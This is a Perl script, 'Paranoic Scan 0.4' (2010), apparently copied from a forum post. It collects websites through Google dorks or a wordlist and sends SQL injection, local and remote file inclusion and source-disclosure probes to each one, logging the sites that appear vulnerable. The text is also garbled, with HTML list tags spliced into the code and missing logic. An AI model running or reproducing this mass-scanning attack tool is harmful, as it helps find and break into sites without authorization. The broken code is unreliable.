#!usr/bin/perl
#Paranoic Scan 0.4
#(c)0ded by Doddy H 2010
use LWP::UserAgent;
use HTTP::Request::Common;
use URI
::Split qw(uri_split
);
my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
sub head {
@@@@@ @ @@@@ @ @@ @@@ @@@ @@@ @@@@ @@@ @@@@ @ @@ @@@
@ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @@ @
@ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @@ @
@@@ @ @ @@@ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @
@ @@@@@ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @@@@@ @ @ @
@ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @@
@@@ @@@ @@@@@@ @@@@ @@@@@@ @ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@ @
);
}
&menu;
sub menu {
&head;
print "[a] : Scan a File\n"; print "[b] : Search in google and scan the webs\n\n"; if ($op=~/a/ig) {
print "\n</li><li type="square
"> Wordlist : ";[/li
][/list
] chomp(my $word = <STDIN>); @paginas = repes(savewords($word));
my $option = &men;
scan($option,@paginas);
}
elsif ($op=~/b/ig) {
print "\n</li><li type="square
"> Dork : ";[/li
][/list
] chomp(my $dork = <STDIN>); print "</li><li type="square
"> Pages : ";[/li
][/list
] chomp(my $pag = <STDIN>); my $option = &men;
@paginas = &google("www.google.com.ar",$dork,$pag);
scan($option,@paginas);
}
else {
&menu;
}
}
sub scan {
my ($option,@webs) = @_;
print "\n[Status] : Scanning\n"; print "[Webs Count] : ".int(@webs)."\n\n"; for(@webs) {
if ($option=~/S/ig) {
&sql($_);
}
if ($option=~/L/ig) {
&lfi($_);
}
if ($option=~/R/ig) {
&rfi($_);
}
if ($option=~/F/ig) {
&fsd($_);
}
if ($option=~/A/ig) {
&sql($_);
&lfi($_);
&rfi($_);
&fsd($_)
}
}
}
print "\n[Status] : Finish\n"; &finish;
sub toma {
return $nave->request (GET
$_[0])->content; }
sub savefile {
open (SAVE
,">>logs/".$_[0]); }
sub finish {
print "\n\n\n(C) Doddy Hackman 2010\n\n"; <STDIN>;
}
sub google {
print "\n[Google] : $_[0]\n[Dork] : $_[1]\n[Pages] : $_[2]\n\n</li><li type="square
"> Searching pages..\n";[/li
][/list
] for ($pages=0;$pages<=$_[2];$pages=$pages+10) {
$response = toma("http://$_[0]/search?hl=&q=$_[1]&start=$pages");
while ($response=~m/<h3 class
=.*?<a href
="([^"]+).*?>(.*?)<\
/a
>/g
) { }}
print "</li><li type="square
"> Cleaning results\n";[/li
][/list
] for(@founds) {
$t = clean($_);
}
}
sub sql {
my ($pass1,$pass2) = ("+","--");
$code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
if ($code1=~/The used SELECT statements have a different number of columns/ig) {
print "</li><li type="square
"> SQLI : $page\a\n";[/li
][/list
] savefile("sql-logs.txt",$page);
}}
sub rfi {
$code1 = toma($page."http:/www.supertangas.com/");
if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
print "</li><li type="square
"> RFI : $page\a\n";[/li
][/list
] savefile("rfi-logs.txt",$page);
}}
sub lfi {
$code1 = toma($page."'");
if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
print "</li><li type="square
"> LFI : $page\a\n";[/li
][/list
] savefile("lfi-logs.txt",$page);
}}
sub fsd {
my ($scheme, $auth, $path, $query, $frag) = uri_split($page);
if ($path=~/\/(.*)$/) {
my $me = $1;
$code1 = toma($page.$me);
if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
print "</li><li type="square
"> Full Source Discloure : $page\a\n";[/li
][/list
] savefile("fpd-logs.txt",$page);
}}}
sub repes {
foreach my $palabra ( @_ ) {
next if $repety{ $palabra }++;
}
}
sub savewords {
@words = <FILE>;
for(@words) {
$t = clean($_);
}
}
sub men {
print "\n\n</li><li type="square
"> Scan Type : \n\n";[/li
][/list
] print "[F] : Full Source Discloure\n"; chomp(my $option = <STDIN>); }
sub clean {
if ($_[0] =~/\=/) {
my @sacar= split("=",$_[0]); }
}
#The End
#Contact : doddy-hackman[at]hotmail[com]
#blog : doddy-hackman.blogspot.com
Similar topics (5)
Septiembre 02, 2011, 09:43:36 pm